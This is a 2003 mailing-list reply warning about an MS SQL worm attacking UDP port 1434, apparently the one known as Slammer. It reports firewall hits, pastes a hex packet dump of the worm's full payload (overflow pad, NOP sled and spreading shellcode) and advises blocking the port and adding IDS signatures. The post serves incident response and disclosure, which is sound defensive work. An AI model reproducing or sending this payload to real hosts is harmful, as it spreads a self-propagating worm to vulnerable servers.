Re: MS SQL WORM IS DESTROYING INTERNET BLOCK PORT 1434!

[Ed Blanchfield <Ed () E-Things Org>]

Hi,

This seems to have started for us about 4:30pm (GMT+11) today.

Lucky for us we block all MS-SQL 1434/udp traffic.  We have logged over 
130,000 firewall blocked connections across 15 odd sites, and it's comming in 
from all over the world.

I don't have any infected servers to study the habits of this worm, but the 
payload seems to always look pretty much like this.

8<---snip
20:56:02.115087 X.X.X.X.4178 > X.X.X.X.1434:  [udp sum ok] udp 376 (ttl 109, 
id 46811)
  0000: 4500 0194 b6db 0000 6d11 2e2d 89e5 0a9c  E...¶Û..m..-.å..
  0010: cb08 07c7 1052 059a 0180 bda8 0401 0101  Ë..Ç.R....½¨....
  0020: 0101 0101 0101 0101 0101 0101 0101 0101  ................
  0030: 0101 0101 0101 0101 0101 0101 0101 0101  ................
  0040: 0101 0101 0101 0101 0101 0101 0101 0101  ................
  0050: 0101 0101 0101 0101 0101 0101 0101 0101  ................
  0060: 0101 0101 0101 0101 0101 0101 0101 0101  ................
  0070: 0101 0101 0101 0101 0101 0101 01dc c9b0  .............ÜÉ°
  0080: 42eb 0e01 0101 0101 0101 70ae 4201 70ae  Bë........p®B.p®
  0090: 4290 9090 9090 9090 9068 dcc9 b042 b801  B........hÜÉ°B¸.
  00a0: 0101 0131 c9b1 1850 e2fd 3501 0101 0550  ...1ɱ.Pâý5....P
  00b0: 89e5 5168 2e64 6c6c 6865 6c33 3268 6b65  .åQh.dllhel32hke
  00c0: 726e 5168 6f75 6e74 6869 636b 4368 4765  rnQhounthickChGe
  00d0: 7454 66b9 6c6c 5168 3332 2e64 6877 7332  tTf¹llQh32.dhws2
  00e0: 5f66 b965 7451 6873 6f63 6b66 b974 6f51  _f¹etQhsockf¹toQ
  00f0: 6873 656e 64be 1810 ae42 8d45 d450 ff16  hsend¾..®B.EÔPÿ.
  0100: 508d 45e0 508d 45f0 50ff 1650 be10 10ae  P.EàP.EðPÿ.P¾..®
  0110: 428b 1e8b 033d 558b ec51 7405 be1c 10ae  B....=U.ìQt.¾..®
  0120: 42ff 16ff d031 c951 5150 81f1 0301 049b  Bÿ.ÿÐ1ÉQQP.ñ....
  0130: 81f1 0101 0101 518d 45cc 508b 45c0 50ff  .ñ....Q.EÌP.EÀPÿ
  0140: 166a 116a 026a 02ff d050 8d45 c450 8b45  .j.j.j.ÿÐP.EÄP.E
  0150: c050 ff16 89c6 09db 81f3 3c61 d9ff 8b45  ÀPÿ..Æ.Û.ó<aÙÿ.E
  0160: b48d 0c40 8d14 88c1 e204 01c2 c1e2 0829  ´..@...Áâ..ÂÁâ.)
  0170: c28d 0490 01d8 8945 b46a 108d 45b0 5031  Â....Ø.E´j..E°P1
  0180: c951 6681 f178 0151 8d45 0350 8b45 ac50  ÉQf.ñx.Q.E.P.E¬P
  0190: ffd6 ebca                                ÿÖëÊ
8<---snip


I would also recommend that all your IDS sensors get a new signature to record 
all outbound 1434/udp in case it sneaks into your networks via private links, 
etc.

Regards,

Ed.



On Sat, 25 Jan 2003 6:11 pm, Michael Bacarella wrote:
> I'm getting massive packet loss to various points on the globe.
> I am seeing a lot of these in my tcpdump output on each
> host.
>
> 02:06:31.017088 150.140.142.17.3047 > 24.193.37.212.ms-sql-m:  udp 376
> 02:06:31.017244 24.193.37.212 > 150.140.142.17: icmp: 24.193.37.212 udp
> port ms-sql-m unreachable [tos 0xc0
>
> It looks like there's a worm affecting MS SQL Server which is
> pingflooding addresses at some random sequence.
>
> All admins with access to routers should block port 1434 (ms-sql-m)!
>
> Everyone running MS SQL Server shut it the hell down or make
> sure it can't access the internet proper!
>
> I make no guarantees that this information is correct, test it
> out for yourself!

-- 
"It is always possible to agglutinate multiple separate problems
into a single complex interdependent solution. In most cases
this is a bad idea."

  -- RFC-1925